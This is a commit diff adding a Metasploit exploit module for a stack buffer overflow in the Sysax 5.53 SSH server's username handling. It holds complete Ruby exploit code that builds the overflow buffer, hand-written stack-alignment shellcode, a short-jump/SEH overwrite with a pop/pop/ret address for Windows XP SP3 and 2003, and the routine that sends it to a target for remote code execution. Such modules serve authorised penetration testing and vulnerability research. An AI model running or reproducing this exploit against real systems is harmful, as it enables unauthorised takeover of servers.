Add Sysax SSH buffer overflow exploit
parent
9f05562a18
commit
fa916d863d
|
@ -0,0 +1,153 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => "Sysax 5.53 SSH Username Buffer Overflow",
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a vulnerability found in Sysax's SSH service. By
|
||||||
|
supplying a long username, the SSH server will copy that data on the stack
|
||||||
|
without any proper bounds checking, therefore allowing remote code execution
|
||||||
|
under the context of the user. Please note that previous versions
|
||||||
|
(before 5.53) are also affected by this bug.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Craig Freyman', #Initial discovery, PoC
|
||||||
|
'sinn3r' #Metasploit
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],
|
||||||
|
['URL', 'http://www.exploit-db.com/exploits/18535/']
|
||||||
|
],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Space' => 1024,
|
||||||
|
'BadChars' => "\x00\x3a",
|
||||||
|
'StackAdjustment' => -3500
|
||||||
|
},
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'ExitFunction' => "seh"
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
# Win XP SP3 and Win2k3 SP0
|
||||||
|
# POP/POP/RET - sysaxservd.exe
|
||||||
|
['Sysax 5.53 on Win XP SP3 / Win2k3 SP0', {'Ret'=>0x00402669}]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => "Feb 27 2012",
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptInt.new('RPORT', [false, 'The target port', 22])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def load_netssh
|
||||||
|
begin
|
||||||
|
require 'net/ssh'
|
||||||
|
return true
|
||||||
|
rescue LoadError
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
#
|
||||||
|
# Load net/ssh so we can talk the SSH protocol
|
||||||
|
#
|
||||||
|
has_netssh = load_netssh
|
||||||
|
if not has_netssh
|
||||||
|
print_error("You don't have net/ssh installed. Please run gem install net-ssh")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Align the stack to the beginning of the fixed size payload
|
||||||
|
#
|
||||||
|
align = "\x54" #PUSH ESP
|
||||||
|
align << "\x58" #POP EAX
|
||||||
|
align << "\x04\x08" #ADD AL,0x08
|
||||||
|
align << "\x8b\x18" #MOV EBX, [EAX]
|
||||||
|
align << "\x93" #XCHG EAX,EBX
|
||||||
|
align << "\x66\x2d\x10\x04" #SUB AX,0x361
|
||||||
|
align << "\x50" #PUSH EAX
|
||||||
|
align << "\xc3" #RET
|
||||||
|
|
||||||
|
#
|
||||||
|
# Our payload limited to 1024+4 bytes
|
||||||
|
#
|
||||||
|
p = make_nops(4)
|
||||||
|
p << payload.encoded
|
||||||
|
|
||||||
|
#
|
||||||
|
# Craft the buffer like this:
|
||||||
|
# [392 bytes][20 bytes][< 9404 bytes][payload][alignment][nseh][seh]
|
||||||
|
# * The 20-byte region is where our source IP is written. 20 bytes gives it enough room
|
||||||
|
# for the IP length, so the next 9404-byte space will begin at a consistent place.
|
||||||
|
# * After SEH, we have ~1860 bytes, but we don't need that because we're doing a
|
||||||
|
# partial-overwrite to allow a null byte in SEH.
|
||||||
|
#
|
||||||
|
buf = ''
|
||||||
|
buf << rand_text(392, payload_badchars)
|
||||||
|
buf << rand_text(20, payload_badchars)
|
||||||
|
buf << rand_text(9204-buf.length-align.length-p.length, payload_badchars) #8796+392+20
|
||||||
|
buf << p
|
||||||
|
buf << align
|
||||||
|
buf << "\xeb" + [0-align.length-2].pack('c') + make_nops(2) #Short jmp back
|
||||||
|
buf << [target.ret].pack('V*')
|
||||||
|
|
||||||
|
#
|
||||||
|
# Send the malicious buffer
|
||||||
|
#
|
||||||
|
pass = rand_text_alpha(8)
|
||||||
|
begin
|
||||||
|
print_status("Sending malicious request to #{rhost}:#{rport}...")
|
||||||
|
ssh = Net::SSH.start(
|
||||||
|
datastore['RHOST'],
|
||||||
|
buf,
|
||||||
|
{
|
||||||
|
:password => pass,
|
||||||
|
:port => datastore['RPORT'],
|
||||||
|
:timeout => 1
|
||||||
|
})
|
||||||
|
|
||||||
|
::Timeout.timeout(1) {ssh.close} rescue nil
|
||||||
|
|
||||||
|
rescue Errno::ECONNREFUSED
|
||||||
|
print_error("Cannot establish a connection on #{rhost}:#{rport}")
|
||||||
|
return
|
||||||
|
rescue ::Exception => e
|
||||||
|
if e.message =~ /fingerprint [0-9a-z\:]+ does not match/
|
||||||
|
print_error("Please remove #{rhost}:#{rport} from your known_hosts list")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
handler(ssh)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
=begin
|
||||||
|
Todo: We seriously need a MSF SSH mixin to handle the SSH protocol ourselves, not
|
||||||
|
relying on net/ssh.
|
||||||
|
|
||||||
|
* Need a reliable stack pivot to rop out, haven't found one
|
||||||
|
=end
|
Loading…
Reference in New Issue